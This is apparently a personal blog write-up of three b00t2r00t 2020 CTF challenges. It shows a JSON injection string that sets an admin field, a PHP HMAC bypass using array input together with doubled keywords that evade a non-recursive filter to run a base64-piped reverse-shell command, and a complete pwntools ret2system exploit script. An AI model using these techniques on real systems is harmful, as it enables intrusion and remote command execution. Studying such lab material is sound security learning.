b00t2r00t 2020 CTF Writeup

My team (just me, my teammate is having his final) solved 3 problems in the recent concluded b00t2r00t CTF, the event didn’t have many participants but the challenges are fairly good. On a scale of 10 in difficulty, it’s probably around 3. The three problems I solved are two web challenges and one pwn challenge.

Dr Jason (Web)

Description

IP : http://67.205.134.115:46911/ Only Admin can see the flag

Author :Dungeon_Master

Solution

A server.js file is also given.

const express = require('express');
const bodyParser = require('body-parser');
var cors = require('cors');
require('dotenv').config();

const app = express();
app.use(bodyParser.json({extended: false}));
app.use(cors());

app.post('/flag',async (req,res)=>{
    if (!req.body.name || typeof req.body.name !== 'string') {
        res.status(400).json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }
    const name = req.body.name;
    var token = `{"admin":0,"name":"${name}"}`
    try{
        token = JSON.parse(token);
    }
    catch{
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }
    if(token.admin === 1){
        res.json({success: true, flag: process.env.FLAG})
    }
    else{
        res.json({success: false, error: 'You are not admin'});
    }
})
app.listen(3000)

This challenge is a fairly easy json injection problem. We need the admin token to be 1, but it was pre-set to be 0. However, we can control the name field.

{"admin":0, "name":"asd"}

Would be a normal token, but what if we use " to break out the double quote and re-assign the admin field?

{"admin":0,"name":"asd","admin":1,"name":"a"}

will be what happens if we do an injection in the name field. If we provide our name to be asd","admin":1,"name":"a, then it should make our token valid as admin.

Register, and then click the flag button.

Flag

b00t2root{js0n_1nj3ct10n}

Buggy PHP (Web)

Description

IP : http://165.22.179.69/ pass through the php filters to get the flag

Author:Dungeon_Master

Solution

They are nice enough to give out the source code of index.php.

 <?php
require('req.php');
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
show_source("index.php");
if (empty($_GET['hash']) || empty($_GET['cmd']) || empty($_GET['tmp'])){
    exit;
}

$key = getenv('KEY');

if(isset($_GET['tmp']))
    $key = hash_hmac('sha256',$_GET['tmp'],$key);

$hash = hash_hmac('sha256',$_GET['cmd'],$key);

if ($hash !== $_GET['hash']) {
    echo "NO flag for you";
    exit;
}

$cmd = preg_replace($filter, '', $_GET['cmd']);
echo exec("cmd ".$cmd);
?> 

We cannot let hash, tmp, and cmd parameter be empty, otherwise the application will just exit. We also need to make sure the hash parameter is the same as the $hash variable in the code. But $hash is computed with a key we don’t know.

And here comes the trick. You see

$key = hash_hmac('sha256',$_GET['tmp'],$key);

if it is to computer the hash for an array, it will return NULL instead of an actual hash.

And with that, now we know the value of key, and we can just compute the hash on our own. But don’t be happy just yet, before the exec call, the $cmd is being filtered. I saw preg_replace function and immediately know the input isn’t being filter recursively.

Let’s say our input is whoami, and this very word in is the blacklist and it will be replaced to an empty string. But if we put whowhoamiami, it will replace the whoami with empty string, we are left with another whoami as result.

The process is quite long so I will just leave the result here. I used base64 to get a reverse shell and got flag. base64 is also in the blacklist so babase64se64 would work. The base of my payload is just echo (base64 encoded command) | base64 -d | sh. I can write a script to make things easier but didn’t really bother.

And here is the final HTTP request.

Here is the screenshot containing the flag.

I feel like I probably just should use grep, but oh well.

Flag

b00t2root{Bu99y_pHp_Ch4ll3n93s}

Welcome To Pwn (Pwn)

Description

Welcome to pwn, here is an easy challenge to get you started.

nc 35.238.225.156 1001

Author: Viper_S

Solution

A binary file was given.

NX is set, so no shellcode for us today.

I used cutter to decompile the binary and found the function system lies around. Then I know it’s just going to be ret2system type of challenge.

Then find the overflow point using gdb.

And let’s construct payload. The reason for finding pop rdi is how x64 architectures pass arguments. The first 6 arguments are stored in registers rdi, rsi, rdx, rcx, r8, r9. Since the function we want to call (system) only needs one argument, that’s why we need to find pop rdi. Similarly, if more arguments are needed, we also need to find pop rsi, pop rdx and more…

Here is the final exploit:

#!/usr/bin/env python3

from pwn import *

filename = './welcome'
elf = ELF(filename)
context(arch='amd64', os='linux')
#context.log_level = 'debug'
offset = 152

system_addr = elf.plt['system']
pop_rdi = 0x000000000040128b
sh_addr = next(elf.search(b'/bin/sh\x00'))
main = 0x0040119a
puts = elf.plt['puts']
junk = b'm' * offset

payload = flat(
        junk, pop_rdi,
        sh_addr, puts,
        pop_rdi, sh_addr,
        system_addr
        )

host = '35.238.225.156'
port = 1001

r = remote(host, port)
r.sendlineafter('got', payload)
r.interactive()

Initially I was unable to get shell for god know what reason. Then I added some additional instructions to probably align the stack and it worked.

Flag

b00t2root{W3lc0m3_T0_Pwn_YjAwdDJyb290JzIw}

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s